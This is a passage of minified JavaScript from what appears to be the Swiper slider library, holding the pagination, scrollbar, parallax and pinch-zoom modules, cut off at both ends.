o;n({pagination:{el:null,bulletElement:"span",clickable:!1,hideOnClick:!1,renderBullet:null,renderProgressbar:null,renderFraction:null,renderCustom:null,progressbarOpposite:!1,type:"bullets",dynamicBullets:!1,dynamicMainBullets:1,formatFractionCurrent:e=>e,formatFractionTotal:e=>e,bulletClass:`${s}-bullet`,bulletActiveClass:`${s}-bullet-active`,modifierClass:`${s}-`,currentClass:`${s}-current`,totalClass:`${s}-total`,hiddenClass:`${s}-hidden`,progressbarFillClass:`${s}-progressbar-fill`,progressbarOppositeClass:`${s}-progressbar-opposite`,clickableClass:`${s}-clickable`,lockClass:`${s}-lock`,horizontalClass:`${s}-horizontal`,verticalClass:`${s}-vertical`,paginationDisabledClass:`${s}-disabled`}}),t.pagination={el:null,bullets:[]};let a=0;const l=e=>(Array.isArray(e)?e:[e]).filter((e=>!!e));function c(){return!t.params.pagination.el||!t.pagination.el||Array.isArray(t.pagination.el)&&0===t.pagination.el.length}function u(e,n){const{bulletActiveClass:i}=t.params.pagination;e&&(e=e[("prev"===n?"previous":"next")+"ElementSibling"])&&(e.classList.add(`${i}-${n}`),(e=e[("prev"===n?"previous":"next")+"ElementSibling"])&&e.classList.add(`${i}-${n}-${n}`))}function d(e){const n=e.target.closest(ne(t.params.pagination.bulletClass));if(!n)return;e.preventDefault();const i=w(n)*t.params.slidesPerGroup;if(t.params.loop){if(t.realIndex===i)return;t.slideToLoop(i)}else t.slideTo(i)}function p(){const e=t.rtl,n=t.params.pagination;if(c())return;let i,s,d=t.pagination.el;d=l(d);const p=t.virtual&&t.params.virtual.enabled?t.virtual.slides.length:t.slides.length,h=t.params.loop?Math.ceil(p/t.params.slidesPerGroup):t.snapGrid.length;if(t.params.loop?(s=t.previousRealIndex||0,i=t.params.slidesPerGroup>1?Math.floor(t.realIndex/t.params.slidesPerGroup):t.realIndex):void 0!==t.snapIndex?(i=t.snapIndex,s=t.previousSnapIndex):(s=t.previousIndex||0,i=t.activeIndex||0),"bullets"===n.type&&t.pagination.bullets&&t.pagination.bullets.length>0){const r=t.pagination.bullets;let l,c,p;if(n.dynamicBullets&&(o=T(r[0],t.isHorizontal()?"width":"height",!0),d.forEach((e=>{e.style[t.isHorizontal()?"width":"height"]=o*(n.dynamicMainBullets+4)+"px"})),n.dynamicMainBullets>1&&void 0!==s&&(a+=i-(s||0),a>n.dynamicMainBullets-1?a=n.dynamicMainBullets-1:a<0&&(a=0)),l=Math.max(i-a,0),c=l+(Math.min(r.length,n.dynamicMainBullets)-1),p=(c+l)/2),r.forEach((e=>{const t=[...["","-next","-next-next","-prev","-prev-prev","-main"].map((e=>`${n.bulletActiveClass}${e}`))].map((e=>"string"==typeof e&&e.includes(" ")?e.split(" "):e)).flat();e.classList.remove(...t)})),d.length>1)r.forEach((e=>{const r=w(e);r===i?e.classList.add(...n.bulletActiveClass.split(" ")):t.isElement&&e.setAttribute("part","bullet"),n.dynamicBullets&&(r>=l&&r<=c&&e.classList.add(...`${n.bulletActiveClass}-main`.split(" ")),r===l&&u(e,"prev"),r===c&&u(e,"next"))}));else{const e=r[i];if(e&&e.classList.add(...n.bulletActiveClass.split(" ")),t.isElement&&r.forEach(((e,t)=>{e.setAttribute("part",t===i?"bullet-active":"bullet")})),n.dynamicBullets){const e=r[l],t=r[c];for(let e=l;e<=c;e+=1)r[e]&&r[e].classList.add(...`${n.bulletActiveClass}-main`.split(" "));u(e,"prev"),u(t,"next")}}if(n.dynamicBullets){const i=Math.min(r.length,n.dynamicMainBullets+4),s=(o*i-o)/2-p*o,a=e?"right":"left";r.forEach((e=>{e.style[t.isHorizontal()?a:"top"]=`${s}px`}))}}d.forEach(((e,s)=>{if("fraction"===n.type&&(e.querySelectorAll(ne(n.currentClass)).forEach((e=>{e.textContent=n.formatFractionCurrent(i+1)})),e.querySelectorAll(ne(n.totalClass)).forEach((e=>{e.textContent=n.formatFractionTotal(h)}))),"progressbar"===n.type){let r;r=n.progressbarOpposite?t.isHorizontal()?"vertical":"horizontal":t.isHorizontal()?"horizontal":"vertical";const s=(i+1)/h;let o=1,a=1;"horizontal"===r?o=s:a=s,e.querySelectorAll(ne(n.progressbarFillClass)).forEach((e=>{e.style.transform=`translate3d(0,0,0) scaleX(${o}) scaleY(${a})`,e.style.transitionDuration=`${t.params.speed}ms`}))}"custom"===n.type&&n.renderCustom?(e.innerHTML=n.renderCustom(t,i+1,h),0===s&&r("paginationRender",e)):(0===s&&r("paginationRender",e),r("paginationUpdate",e)),t.params.watchOverflow&&t.enabled&&e.classList[t.isLocked?"add":"remove"](n.lockClass)}))}function h(){const e=t.params.pagination;if(c())return;const n=t.virtual&&t.params.virtual.enabled?t.virtual.slides.length:t.grid&&t.params.grid.rows>1?t.slides.length/Math.ceil(t.params.grid.rows):t.slides.length;let i=t.pagination.el;i=l(i);let s="";if("bullets"===e.type){let i=t.params.loop?Math.ceil(n/t.params.slidesPerGroup):t.snapGrid.length;t.params.freeMode&&t.params.freeMode.enabled&&i>n&&(i=n);for(let n=0;n<i;n+=1)e.renderBullet?s+=e.renderBullet.call(t,n,e.bulletClass):s+=`<${e.bulletElement} ${t.isElement?'part="bullet"':""} class="${e.bulletClass}"></${e.bulletElement}>`}"fraction"===e.type&&(s=e.renderFraction?e.renderFraction.call(t,e.currentClass,e.totalClass):`<span class="${e.currentClass}"></span> / <span class="${e.totalClass}"></span>`),"progressbar"===e.type&&(s=e.renderProgressbar?e.renderProgressbar.call(t,e.progressbarFillClass):`<span class="${e.progressbarFillClass}"></span>`),t.pagination.bullets=[],i.forEach((n=>{"custom"!==e.type&&(n.innerHTML=s||""),"bullets"===e.type&&t.pagination.bullets.push(...n.querySelectorAll(ne(e.bulletClass)))})),"custom"!==e.type&&r("paginationRender",i[0])}function f(){t.params.pagination=te(t,t.originalParams.pagination,t.params.pagination,{el:"swiper-pagination"});const e=t.params.pagination;if(!e.el)return;let n;"string"==typeof e.el&&t.isElement&&(n=t.el.querySelector(e.el)),n||"string"!=typeof e.el||(n=[...document.querySelectorAll(e.el)]),n||(n=e.el),n&&0!==n.length&&(t.params.uniqueNavElements&&"string"==typeof e.el&&Array.isArray(n)&&n.length>1&&(n=[...t.el.querySelectorAll(e.el)],n.length>1&&(n=n.filter((e=>_(e,".swiper")[0]===t.el))[0])),Array.isArray(n)&&1===n.length&&(n=n[0]),Object.assign(t.pagination,{el:n}),n=l(n),n.forEach((n=>{"bullets"===e.type&&e.clickable&&n.classList.add(...(e.clickableClass||"").split(" ")),n.classList.add(e.modifierClass+e.type),n.classList.add(t.isHorizontal()?e.horizontalClass:e.verticalClass),"bullets"===e.type&&e.dynamicBullets&&(n.classList.add(`${e.modifierClass}${e.type}-dynamic`),a=0,e.dynamicMainBullets<1&&(e.dynamicMainBullets=1)),"progressbar"===e.type&&e.progressbarOpposite&&n.classList.add(e.progressbarOppositeClass),e.clickable&&n.addEventListener("click",d),t.enabled||n.classList.add(e.lockClass)})))}function m(){const e=t.params.pagination;if(c())return;let n=t.pagination.el;n&&(n=l(n),n.forEach((n=>{n.classList.remove(e.hiddenClass),n.classList.remove(e.modifierClass+e.type),n.classList.remove(t.isHorizontal()?e.horizontalClass:e.verticalClass),e.clickable&&(n.classList.remove(...(e.clickableClass||"").split(" ")),n.removeEventListener("click",d))}))),t.pagination.bullets&&t.pagination.bullets.forEach((t=>t.classList.remove(...e.bulletActiveClass.split(" "))))}i("changeDirection",(()=>{if(!t.pagination||!t.pagination.el)return;const e=t.params.pagination;let{el:n}=t.pagination;n=l(n),n.forEach((n=>{n.classList.remove(e.horizontalClass,e.verticalClass),n.classList.add(t.isHorizontal()?e.horizontalClass:e.verticalClass)}))})),i("init",(()=>{!1===t.params.pagination.enabled?g():(f(),h(),p())})),i("activeIndexChange",(()=>{void 0===t.snapIndex&&p()})),i("snapIndexChange",(()=>{p()})),i("snapGridLengthChange",(()=>{h(),p()})),i("destroy",(()=>{m()})),i("enable disable",(()=>{let{el:e}=t.pagination;e&&(e=l(e),e.forEach((e=>e.classList[t.enabled?"remove":"add"](t.params.pagination.lockClass))))})),i("lock unlock",(()=>{p()})),i("click",((e,n)=>{const i=n.target,s=l(t.pagination.el);if(t.params.pagination.el&&t.params.pagination.hideOnClick&&s&&s.length>0&&!i.classList.contains(t.params.pagination.bulletClass)){if(t.navigation&&(t.navigation.nextEl&&i===t.navigation.nextEl||t.navigation.prevEl&&i===t.navigation.prevEl))return;const e=s[0].classList.contains(t.params.pagination.hiddenClass);r(!0===e?"paginationShow":"paginationHide"),s.forEach((e=>e.classList.toggle(t.params.pagination.hiddenClass)))}}));const g=()=>{t.el.classList.add(t.params.pagination.paginationDisabledClass);let{el:e}=t.pagination;e&&(e=l(e),e.forEach((e=>e.classList.add(t.params.pagination.paginationDisabledClass)))),m()};Object.assign(t.pagination,{enable:()=>{t.el.classList.remove(t.params.pagination.paginationDisabledClass);let{el:e}=t.pagination;e&&(e=l(e),e.forEach((e=>e.classList.remove(t.params.pagination.paginationDisabledClass)))),f(),h(),p()},disable:g,render:h,update:p,init:f,destroy:m})},function(e){let{swiper:t,extendParams:n,on:r,emit:s}=e;const l=i();let c,u,d,p,h=!1,f=null,m=null;function g(){if(!t.params.scrollbar.el||!t.scrollbar.el)return;const{scrollbar:e,rtlTranslate:n}=t,{dragEl:i,el:r}=e,s=t.params.scrollbar,o=t.params.loop?t.progressLoop:t.progress;let a=u,l=(d-u)*o;n?(l=-l,l>0?(a=u-l,l=0):-l+u>d&&(a=d+l)):l<0?(a=u+l,l=0):l+u>d&&(a=d-l),t.isHorizontal()?(i.style.transform=`translate3d(${l}px, 0, 0)`,i.style.width=`${a}px`):(i.style.transform=`translate3d(0px, ${l}px, 0)`,i.style.height=`${a}px`),s.hide&&(clearTimeout(f),r.style.opacity=1,f=setTimeout((()=>{r.style.opacity=0,r.style.transitionDuration="400ms"}),1e3))}function b(){if(!t.params.scrollbar.el||!t.scrollbar.el)return;const{scrollbar:e}=t,{dragEl:n,el:i}=e;n.style.width="",n.style.height="",d=t.isHorizontal()?i.offsetWidth:i.offsetHeight,p=t.size/(t.virtualSize+t.params.slidesOffsetBefore-(t.params.centeredSlides?t.snapGrid[0]:0)),u="auto"===t.params.scrollbar.dragSize?d*p:parseInt(t.params.scrollbar.dragSize,10),t.isHorizontal()?n.style.width=`${u}px`:n.style.height=`${u}px`,i.style.display=p>=1?"none":"",t.params.scrollbar.hide&&(i.style.opacity=0),t.params.watchOverflow&&t.enabled&&e.el.classList[t.isLocked?"add":"remove"](t.params.scrollbar.lockClass)}function w(e){return t.isHorizontal()?e.clientX:e.clientY}function _(e){const{scrollbar:n,rtlTranslate:i}=t,{el:r}=n;let s;s=(w(e)-y(r)[t.isHorizontal()?"left":"top"]-(null!==c?c:u/2))/(d-u),s=Math.max(Math.min(s,1),0),i&&(s=1-s);const o=t.minTranslate()+(t.maxTranslate()-t.minTranslate())*s;t.updateProgress(o),t.setTranslate(o),t.updateActiveIndex(),t.updateSlidesClasses()}function x(e){const n=t.params.scrollbar,{scrollbar:i,wrapperEl:r}=t,{el:o,dragEl:a}=i;h=!0,c=e.target===a?w(e)-e.target.getBoundingClientRect()[t.isHorizontal()?"left":"top"]:null,e.preventDefault(),e.stopPropagation(),r.style.transitionDuration="100ms",a.style.transitionDuration="100ms",_(e),clearTimeout(m),o.style.transitionDuration="0ms",n.hide&&(o.style.opacity=1),t.params.cssMode&&(t.wrapperEl.style["scroll-snap-type"]="none"),s("scrollbarDragStart",e)}function T(e){const{scrollbar:n,wrapperEl:i}=t,{el:r,dragEl:o}=n;h&&(e.preventDefault?e.preventDefault():e.returnValue=!1,_(e),i.style.transitionDuration="0ms",r.style.transitionDuration="0ms",o.style.transitionDuration="0ms",s("scrollbarDragMove",e))}function E(e){const n=t.params.scrollbar,{scrollbar:i,wrapperEl:r}=t,{el:o}=i;h&&(h=!1,t.params.cssMode&&(t.wrapperEl.style["scroll-snap-type"]="",r.style.transitionDuration=""),n.hide&&(clearTimeout(m),m=a((()=>{o.style.opacity=0,o.style.transitionDuration="400ms"}),1e3)),s("scrollbarDragEnd",e),n.snapOnRelease&&t.slideToClosest())}function S(e){const{scrollbar:n,params:i}=t,r=n.el;if(!r)return;const s=r,o=!!i.passiveListeners&&{passive:!1,capture:!1},a=!!i.passiveListeners&&{passive:!0,capture:!1};if(!s)return;const c="on"===e?"addEventListener":"removeEventListener";s[c]("pointerdown",x,o),l[c]("pointermove",T,o),l[c]("pointerup",E,a)}function C(){const{scrollbar:e,el:n}=t;t.params.scrollbar=te(t,t.originalParams.scrollbar,t.params.scrollbar,{el:"swiper-scrollbar"});const i=t.params.scrollbar;if(!i.el)return;let r,s;if("string"==typeof i.el&&t.isElement&&(r=t.el.querySelector(i.el)),r||"string"!=typeof i.el)r||(r=i.el);else if(r=l.querySelectorAll(i.el),!r.length)return;t.params.uniqueNavElements&&"string"==typeof i.el&&r.length>1&&1===n.querySelectorAll(i.el).length&&(r=n.querySelector(i.el)),r.length>0&&(r=r[0]),r.classList.add(t.isHorizontal()?i.horizontalClass:i.verticalClass),r&&(s=r.querySelector(ne(t.params.scrollbar.dragClass)),s||(s=v("div",t.params.scrollbar.dragClass),r.append(s))),Object.assign(e,{el:r,dragEl:s}),i.draggable&&t.params.scrollbar.el&&t.scrollbar.el&&S("on"),r&&r.classList[t.enabled?"remove":"add"](...o(t.params.scrollbar.lockClass))}function M(){const e=t.params.scrollbar,n=t.scrollbar.el;n&&n.classList.remove(...o(t.isHorizontal()?e.horizontalClass:e.verticalClass)),t.params.scrollbar.el&&t.scrollbar.el&&S("off")}n({scrollbar:{el:null,dragSize:"auto",hide:!1,draggable:!1,snapOnRelease:!0,lockClass:"swiper-scrollbar-lock",dragClass:"swiper-scrollbar-drag",scrollbarDisabledClass:"swiper-scrollbar-disabled",horizontalClass:"swiper-scrollbar-horizontal",verticalClass:"swiper-scrollbar-vertical"}}),t.scrollbar={el:null,dragEl:null},r("init",(()=>{!1===t.params.scrollbar.enabled?k():(C(),b(),g())})),r("update resize observerUpdate lock unlock",(()=>{b()})),r("setTranslate",(()=>{g()})),r("setTransition",((e,n)=>{!function(e){t.params.scrollbar.el&&t.scrollbar.el&&(t.scrollbar.dragEl.style.transitionDuration=`${e}ms`)}(n)})),r("enable disable",(()=>{const{el:e}=t.scrollbar;e&&e.classList[t.enabled?"remove":"add"](...o(t.params.scrollbar.lockClass))})),r("destroy",(()=>{M()}));const k=()=>{t.el.classList.add(...o(t.params.scrollbar.scrollbarDisabledClass)),t.scrollbar.el&&t.scrollbar.el.classList.add(...o(t.params.scrollbar.scrollbarDisabledClass)),M()};Object.assign(t.scrollbar,{enable:()=>{t.el.classList.remove(...o(t.params.scrollbar.scrollbarDisabledClass)),t.scrollbar.el&&t.scrollbar.el.classList.remove(...o(t.params.scrollbar.scrollbarDisabledClass)),C(),b(),g()},disable:k,updateSize:b,setTranslate:g,init:C,destroy:M})},function(e){let{swiper:t,extendParams:n,on:i}=e;n({parallax:{enabled:!1}});const r="[data-swiper-parallax], [data-swiper-parallax-x], [data-swiper-parallax-y], [data-swiper-parallax-opacity], [data-swiper-parallax-scale]",s=(e,n)=>{const{rtl:i}=t,r=i?-1:1,s=e.getAttribute("data-swiper-parallax")||"0";let o=e.getAttribute("data-swiper-parallax-x"),a=e.getAttribute("data-swiper-parallax-y");const l=e.getAttribute("data-swiper-parallax-scale"),c=e.getAttribute("data-swiper-parallax-opacity"),u=e.getAttribute("data-swiper-parallax-rotate");if(o||a?(o=o||"0",a=a||"0"):t.isHorizontal()?(o=s,a="0"):(a=s,o="0"),o=o.indexOf("%")>=0?parseInt(o,10)*n*r+"%":o*n*r+"px",a=a.indexOf("%")>=0?parseInt(a,10)*n+"%":a*n+"px",null!=c){const t=c-(c-1)*(1-Math.abs(n));e.style.opacity=t}let d=`translate3d(${o}, ${a}, 0px)`;null!=l&&(d+=` scale(${l-(l-1)*(1-Math.abs(n))})`),u&&null!=u&&(d+=` rotate(${u*n*-1}deg)`),e.style.transform=d},o=()=>{const{el:e,slides:n,progress:i,snapGrid:o,isElement:a}=t,l=m(e,r);t.isElement&&l.push(...m(t.hostEl,r)),l.forEach((e=>{s(e,i)})),n.forEach(((e,n)=>{let a=e.progress;t.params.slidesPerGroup>1&&"auto"!==t.params.slidesPerView&&(a+=Math.ceil(n/2)-i*(o.length-1)),a=Math.min(Math.max(a,-1),1),e.querySelectorAll(`${r}, [data-swiper-parallax-rotate]`).forEach((e=>{s(e,a)}))}))};i("beforeInit",(()=>{t.params.parallax.enabled&&(t.params.watchSlidesProgress=!0,t.originalParams.watchSlidesProgress=!0)})),i("init",(()=>{t.params.parallax.enabled&&o()})),i("setTranslate",(()=>{t.params.parallax.enabled&&o()})),i("setTransition",((e,n)=>{t.params.parallax.enabled&&function(e){void 0===e&&(e=t.params.speed);const{el:n,hostEl:i}=t,s=[...n.querySelectorAll(r)];t.isElement&&s.push(...i.querySelectorAll(r)),s.forEach((t=>{let n=parseInt(t.getAttribute("data-swiper-parallax-duration"),10)||e;0===e&&(n=0),t.style.transitionDuration=`${n}ms`}))}(n)}))},function(e){let{swiper:t,extendParams:n,on:i,emit:r}=e;const o=s();n({zoom:{enabled:!1,maxRatio:3,minRatio:1,toggle:!0,containerClass:"swiper-zoom-container",zoomedSlideClass:"swiper-slide-zoomed"}}),t.zoom={enabled:!1};let a,l,u=1,d=!1;const p=[],h={originX:0,originY:0,slideEl:void 0,slideWidth:void 0,slideHeight:void 0,imageEl:void 0,imageWrapEl:void 0,maxRatio:3},f={isTouched:void 0,isMoved:void 0,currentX:void 0,currentY:void 0,minX:void 0,minY:void 0,maxX:void 0,maxY:void 0,width:void 0,height:void 0,startX:void 0,startY:void 0,touchesStart:{},touchesCurrent:{}},g={x:void 0,y:void 0,prevPositionX:void 0,prevPositionY:void 0,prevTime:void 0};let v=1;function b(){if(p.length<2)return 1;const e=p[0].pageX,t=p[0].pageY,n=p[1].pageX,i=p[1].pageY;return Math.sqrt((n-e)**2+(i-t)**2)}function w(e){const n=t.isElement?"swiper-slide":`.${t.params.slideClass}`;return!!e.target.matches(n)||t.slides.filter((t=>t.contains(e.target))).length>0}function x(e){if("mouse"===e.pointerType&&p.splice(0,p.length),!w(e))return;const n=t.params.zoom;if(a=!1,l=!1,p.push(e),!(p.length<2)){if(a=!0,h.scaleStart=b(),!h.slideEl){h.slideEl=e.target.closest(`.${t.params.slideClass}, swiper-slide`),h.slideEl||(h.slideEl=t.slides[t.activeIndex]);let i=h.slideEl.querySelector(`.${n.containerClass}`);if(i&&(i=i.querySelectorAll("picture, img, svg, canvas, .swiper-zoom-target")[0]),h.imageEl=i,h.imageWrapEl=i?_(h.imageEl,`.${n.containerClass}`)[0]:void 0,!h.imageWrapEl)return void(h.imageEl=void 0);h.maxRatio=h.imageWrapEl.getAttribute("data-swiper-zoom")||n.maxRatio}if(h.imageEl){const[e,t]=function(){if(p.length<2)return{x:null,y:null};const e=h.imageEl.getBoundingClientRect();return[(p[0].pageX+(p[1].pageX-p[0].pageX)/2-e.x-o.scrollX)/u,(p[0].pageY+(p[1].pageY-p[0].pageY)/2-e.y-o.scrollY)/u]}();h.originX=e,h.originY=t,h.imageEl.style.transitionDuration="0ms"}d=!0}}function T(e){if(!w(e))return;const n=t.params.zoom,i=t.zoom,r=p.findIndex((t=>t.pointerId===e.pointerId));r>=0&&(p[r]=e),p.length<2||(l=!0,h.scaleMove=b(),h.imageEl&&(i.scale=h.scaleMove/h.scaleStart*u,i.scale>h.maxRatio&&(i.scale=h.maxRatio-1+(i.scale-h.maxRatio+1)**.5),i.scale<n.minRatio&&(i.scale=n.minRatio+1-(n.minRatio-i.scale+1)**.5),h.imageEl.style.transform=`translate3d(0,0,0) scale(${i.scale})`))}function E(e){if(!w(e))return;if("mouse"===e.pointerType&&"pointerout"===e.type)return;const n=t.params.zoom,i=t.zoom,r=p.findIndex((t=>t.pointerId===e.pointerId));r>=0&&p.splice(r,1),a&&l&&(a=!1,l=!1,h.imageEl&&(i.scale=Math.max(Math.min(i.scale,h.maxRatio),n.minRatio),h.imageEl.style.transitionDuration=`${t.params.speed}ms`,h.imageEl.style.transform=`translate3d(0,0,0) scale(${i.scale})`,u=i.scale,d=!1,i.scale>1&&h.slideEl?h.slideEl.classList.add(`${n.zoomedSlideClass}`):i.scale<=1&&h.slideEl&&h.slideEl.classList.remove(`${n.zoomedSlideClass}`),1===i.scale&&(h.originX=0,h.originY=0,h.slideEl=void 0)))}function S(e){if(!w(e)||!function(e){const n=`.${t.params.zoom.containerClass}`;return!!e.target.matches(n)||[...t.hostEl.querySelectorAll(n)].filter((t=>t.contains(e.target))).length>0}(e))return;const n=t.zoom;if(!h.imageEl)return;if(!f.isTouched||!h.slideEl)return;f.isMoved||(f.width=h.imageEl.offsetWidth,f.height=h.imageEl.offsetHeight,f.startX=c(h.imageWrapEl,"x")||0,f.startY=c(h.imageWrapEl,"y")||0,h.slideWidth=h.slideEl.offsetWidth,h.slideHeight=h.slideEl.offsetHeight,h.imageWrapEl.style.transitionDuration="0ms");const i=f.width*n.scale,r=f.height*n.scale;if(i<h.slideWidth&&r<h.slideHeight)return;if(f.minX=Math.min(h.slideWidth/2-i/2,0),f.maxX=-f.minX,f.minY=Math.min(h.slideHeight/2-r/2,0),f.maxY=-f.minY,f.touchesCurrent.x=p.length>0?p[0].pageX:e.pageX,f.touchesCurrent.y=p.length>0?p[0].pageY:e.pageY,Math.max(Math.abs(f.touchesCurrent.x-f.touchesStart.x),Math.abs(f.touchesCurrent.y-f.touchesStart.y))>5&&(t.allowClick=!1),!f.isMoved&&!d){if(t.isHorizontal()&&(Math.floor(f.minX)===Math.floor(f.startX)&&f.touchesCurrent.x<f.touchesStart.x||Math.floor(f.maxX)===Math.floor(f.startX)&&f.touchesCurrent.x>f.touchesStart.x))return void(f.isTouched=!1);if(!t.isHorizontal()&&(Math.floor(f.minY)===Math.floor(f.startY)&&f.touchesCurrent.y<f.touchesStart.y||Math.floor(f.maxY)===Math.floor(f.startY)&&f.touchesCurrent.y>f.touchesStart.y))return void(f.isTouched=!1)}e.cancelable&&e.preventDefault(),e.stopPropagation(),f.isMoved=!0;const s=(n.scale-u)/(h.maxRatio-t.params.zoom.minRatio),{originX:o,originY:a}=h;f.currentX=f.touchesCurrent.x-f.touchesStart.x+f.startX+s*(f.width-2*o),f.currentY=f.touchesCurrent.y-f.touchesStart.y+f.startY+s*(f.height-2*a),f.currentX<f.minX&&(f.currentX=f.minX+1-(f.minX-f.currentX+1)**.8),f.currentX>f.maxX&&(f.currentX=f.maxX-1+(f.currentX-f.maxX+1)**.8),f.currentY<f.minY&&(f.currentY=f.minY+1-(f.minY-f.currentY+1)**.8),f.currentY>f.maxY&&(f.currentY=f.maxY-1+(f.currentY-f.maxY+1)**.8),g.prevPositionX||(g.prevPositionX=f.touchesCurrent.x),g.prevPositionY||(g.prevPositionY=f.touchesCurrent.y),g.prevTime||(g.prevTime=Date.now()),g.x=(f.touchesCurrent.x-g.prevPositionX)/(Date.now()-g.prevTime)/2,g.y=(f.touchesCurrent.y-g.prevPositionY)/(Date.now()-g.prevTime)/2,Math.abs(f.touchesCurrent.x-g.prevPositionX)<2&&(g.x=0),Math.abs(f.touchesCurrent.y-g.prevPositionY)<2&&(g.y=0),g.prevPositionX=f.touchesCurrent.x,g.prevPositionY=f.touchesCurrent.y,g.prevTime=Date.now(),h.imageWrapEl.style.transform=`translate3d(${f.currentX}px, ${f.currentY}px,0)`}function C(){const e=t.zoom;h.slideEl&&t.activeIndex!==t.slides.indexOf(h.slideEl)&&(h.imageEl&&(h.imageEl.style.transform="translate3d(0,0,0) scale(1)"),h.imageWrapEl&&(h.imageWrapEl.style.transform="translate3d(0,0,0)"),h.slideEl.classList.remove(`${t.params.zoom.zoomedSlideClass}`),e.scale=1,u=1,h.slideEl=void 0,h.imageEl=void 0,h.imageWrapEl=void 0,h.originX=0,h.originY=0)}function M(e){const n=t.zoom,i=t.params.zoom;if(!h.slideEl){e&&e.target&&(h.slideEl=e.target.closest(`.${t.params.slideClass}, swiper-slide`)),h.slideEl||(t.params.virtual&&t.params.virtual.enabled&&t.virtual?h.slideEl=m(t.slidesEl,`.${t.params.slideActiveClass}`)[0]:h.slideEl=t.slides[t.activeIndex]);let n=h.slideEl.querySelector(`.${i.containerClass}`);n&&(n=n.querySelectorAll("picture, img, svg, canvas, .swiper-zoom-target")[0]),h.imageEl=n,h.imageWrapEl=n?_(h.imageEl,`.${i.containerClass}`)[0]:void 0}if(!h.imageEl||!h.imageWrapEl)return;let r,s,a,l,c,d,p,g,v,b,w,x,T,E,S,C,M,k;t.params.cssMode&&(t.wrapperEl.style.overflow="hidden",t.wrapperEl.style.touchAction="none"),h.slideEl.classList.add(`${i.zoomedSlideClass}`),void 0===f.touchesStart.x&&e?(r=e.pageX,s=e.pageY):(r=f.touchesStart.x,s=f.touchesStart.y);const A="number"==typeof e?e:null;1===u&&A&&(r=void 0,s=void 0),n.scale=A||h.imageWrapEl.getAttribute("data-swiper-zoom")||i.maxRatio,u=A||h.imageWrapEl.getAttribute("data-swiper-zoom")||i.maxRatio,!e||1===u&&A?(p=0,g=0):(M=h.slideEl.offsetWidth,k=h.slideEl.offsetHeight,a=y(h.slideEl).left+o.scrollX,l=y(h.slideEl).top+o.scrollY,c=a+M/2-r,d=l+k/2-s,v=h.imageEl.offsetWidth,b=h.imageEl.offsetHeight,w=v*n.scale,x=b*n.scale,T=Math.min(M/2-w/2,0),E=Math.min(k/2-x/2,0),S=-T,C=-E,p=c*n.scale,g=d*n.scale,p<T&&(p=T),p>S&&(p=S),g<E&&(g=E),g>C&&(g=C)),A&&1===n.scale&&(h.originX=0,h.originY=0),h.imageWrapEl.style.transitionDuration="300ms",h.imageWrapEl.style.transform=`translate3d(${p}px, ${g}px,0)`,h.imageEl.style.transitionDuration="300ms",h.imageEl.style.transform=`translate3d(0,0,0) scale(${n.scale})`}function k(){const e=t.zoom,n=t.params.zoom;if(!h.slideEl){t.params.virtual&&t.params.virtual.enabled&&t.virtual?h.slideEl=m(t.slidesEl,`.${t.params.slideActiveClass}`)[0]:h.slideEl=t.slides[t.activeIndex];let e=h.slideEl.querySelector(`.${n.containerClass}`);e&&(e=e.querySelectorAll("picture, img, svg, canvas, .swiper-zoom-target")[0]),h.imageEl=e,h.imageWrapEl=e?_(h.imageEl,`.${n.containerClass}`)[0]:void 0}h.imageEl&&h.imageWrapEl&&(t.params.cssMode&&(t.wrapperEl.style.overflow="",t.wrapperEl.style.touchAction=""),e.scale=1,u=1,h.imageWrapEl.style.transitionDuration="300ms",h.imageWrapEl.style.transform="translate3d(0,0,0)",h.imageEl.style.transitionDuration="300ms",h.imageEl.style.transform="translate3d(0,0,0) scale(1)",h.slideEl.classList.remove(`${n.zoomedSlideClass}`),h.slideEl=void 0,h.originX=0,h.originY=0)}function A(e){const n=t.zoom;n.scale&&1!==n.scale?k():M(e)}function O(){return{passiveListener:!!t.params.passiveListeners&&{passive:!0,capture:!1},activeListenerWithCapture:!t.params.passiveListeners||{passive:!1,capture:!0}}}function P(){const e=t.zoom;if(e.enabled)return;e.enabled=!0;const{passiveListener:n,activeListenerWithCapture:i}=O();t.wrapperEl.addEventListener("pointerdown",x,n),t.wrapperEl.addEventListener("pointermove",T,i),["pointerup","pointercancel","pointerout"].forEach((e=>{t.wrapperEl.addEventListener(e,E,n)})),t.wrapperEl.addEventListener("pointermove",S,i)}function L(){const e=t.zoom;if(!e.enabled)return;e.enabled=!1;const{passiveListener:n,activeListenerWithCapture:i}=O();t.wrapperEl.removeEventListener("pointerdown",x,n),t.wrapperEl.removeEventListener("pointermove",T,i),["pointerup","pointercancel","pointerout"].forEach((e=>{t.wrapperEl.removeEventListener(e,E,n)})),t.wrapperEl.removeEventListener("pointermove",S,i)}Object.defineProperty(t.zoom,"scale",{get:()=>v,set(e){if(v!==e){const t=h.imageEl,n=h.slideEl;r("zoomChange",e,t,n)}v=e}}),i("init",(()=>{t.params.zoom.enabled&&P()})),i("destroy",(()=>{L()})),i("touchStart",((e,n)=>{t.zoom.enabled&&function(e){const n=t.device;if(!h.imageEl)return;if(f.isTouched)return;n.android&&e.cancelable&&e.preventDefault(),f.isTouched=!0;const i=p.length>0?p[0]:e;f.touchesStart.x=i.pageX,f.touchesStart.y=i.pageY}(n)})),i("touchEnd",((e,n)=>{t.zoom.enabled&&function(){const e=t.zoom;if(!h.imageEl)return;if(!f.isTouched||!f.isMoved)return f.isTouched=!1,void(f.isMoved=!1);f.isTouched=!1,f.isMoved=!1;let n=300,i=300;const r=g.x*n,s=f.currentX+r,o=g.y*i,a=f.currentY+o;0!==g.x&&(n=Math.abs((s-f.currentX)/g.x)),0!==g.y&&(i=Math.abs((a-f.currentY)/g.y));const l=Math.max(n,i);f.currentX=s,f.currentY=a;const c=f.width*e.scale,u=f.height*e.scale;f.minX=Math.min(h.slideWidth/2-c/2,0),f.maxX=-f.minX,f.minY=Math.min(h.slideHeight/2-u/2,0),f.maxY=-f.minY,f.currentX=Math.max(Math.min(f.currentX,f.maxX),f.minX),f.currentY=Math.max(Math.min(f.currentY,f.maxY),f.minY),h.imageWrapEl.style.transitionDuration=`${l}ms`,h.imageWrapEl.style.transform=`translate3d(${f.currentX}px, 